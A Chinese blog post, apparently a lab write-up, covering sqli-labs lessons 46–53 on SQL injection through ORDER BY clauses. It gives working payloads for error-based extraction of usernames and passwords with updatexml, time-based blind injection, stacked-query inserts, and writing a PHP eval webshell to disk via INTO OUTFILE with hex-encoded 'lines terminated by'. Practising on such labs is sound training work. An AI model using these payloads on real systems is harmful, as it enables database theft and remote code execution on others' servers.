zoukankan      html  css  js  c++  java
  • sqli-labs lesson 46-53

    写在前面:

    关于 order by

    例: select * from users order by 1 ;   将users表中的第1列按照从小到大依次排列

       select * from users order by 2 ;   将users表中的第2列按照从小到大依次排列

       ...........

     也可以在后面加desc或者asc指定降序或者升序

    例: select * from users order by 1 desc  使用降序排列

     

     right() 函数:

    和之前盲注用的left函数类似,只是从右往左开始计数。

    lines terminated xxx    文件以xxx为结尾

     最后写好的文件会以666为结尾。

    less 46

    观察源码:

    发现sql语句为:$sql = "SELECT * FROM users ORDER BY $id";

    并且传入的值是sort 将sort赋值给id ,并且参数没有进行包裹

    但是这里用union select  有错误 所以下面提供两个方法。

    1.报错注入

    利用updatexml函数进行报错注入

    payload:?sort=1 and updatexml(1,   concat(0x7e,  (select concat_ws(0x7e,username,password) from security.users limit 0,1) ,0x7e)  ,1) --+

    2.延时注入

    ?sort=1 and if (left(database(),1)>'a',1,sleep(5)) --+

    如果执行成功返回1,执行失败延时5s

     剩下的步骤就是挨个名称和字母进行猜解即可。

    less 47

    与less 46的区别是参数加了单引号包裹,其余步骤一样。

    less 48

    与less 46相比没有了错误回显,只能使用延时注入。

    less 49

    与less 48相比 同样没有错误回显,只能使用延时注入,但是注意参数有了单引号包裹。

    以上。也可用 into outfile方法 例如:

    http://127.0.0.1/sqli-labs-master/Less-49/?sort=3' into outfile "C:\phpstudy1\PHPTutorial\WWW\sqli-labs-master\Less-49\mmm.php" --+

     

     可以导出文件,我们下面尝试使用一句话木马进行操作。

    ?sort=3'and (select '<?php @eval($_POST[zzw]);?>') into outfile "C:\phpstudy1\PHPTutorial\WWW\sqli-labs-master\Less-49\mmm.php" --+

    执行后发现导出的文件和之前的txt的文件没什么区别:

     所以这时候就需要用到 lines terminated by 0xXXXXXXXXXXXXXXX

    这里将我们上面的一句话木马转换为十六进制。

    构造payload为:

    ?sort=3' into outfile "C:\phpstudy1\PHPTutorial\WWW\sqli-labs-master\Less-49\less-49.php" lines terminated by 0x273c3f70687020406576616c28245f504f53545b7a7a775d293b3f3e27 --+

     成功写入了一句话木马,之后连接中国菜刀即可。

    从less 50 - less 53 结合了堆叠注入和基于order by 语句的注入

    因为这几关使用了mysql_fetch_assoc()函数,这个可以针对多个语句的数据库查询

    less 50

    1.延时注入:

    构造payload:

    http://127.0.0.1/sqli-labs-master/Less-50/?sort=3 and if( left(database(),1)>'a',1,sleep(2))

    如果正确返回1可以回显查询的表,错误会一直转圈,基本也是猜解

     2.报错注入:

    构造payload:

    ?sort=1 and updatexml(1,   concat(0x7e,  (select concat_ws(0x7e,username,password) from security.users limit 0,1) ,0x7e)  ,1) --+

     3.使用一句话木马,原理和less 49一致

    4.堆叠注入:

    ?sort=1;insert into users(id,username,password) values('50','less50','50') --+

    less 51

    与less 50不同的就是 参数被单引号包裹,并且也是有报错回显,注意闭合单引号即可。

    less 52

    与less 50不同的就是 参数没有被单引号包裹,没有错误回显不可以使用报错注入。注意闭合单引号即可,不再详细赘述

    less 53

    与less 52基本一致,只是参数被单引号包裹。不能使用报错注入

  • 相关阅读:
    iPhone控件之UIDatePicker
    iPhone控件之UIActionSheet
    iPhone控件之UIActivityView
    iPhone控件之UIPickerView2
    RTP/RTCP协议详解
    ASIHTTPRequest详解[转载]
    iPhone控件之UIProgressView
    iPhone控件之UIPageControl
    iPhone控件之UISegmentedControl
    使用AsyncSocket实现RTSP协议
  • 原文地址:https://www.cnblogs.com/Zh1z3ven/p/12512727.html
Copyright © 2011-2022 走看看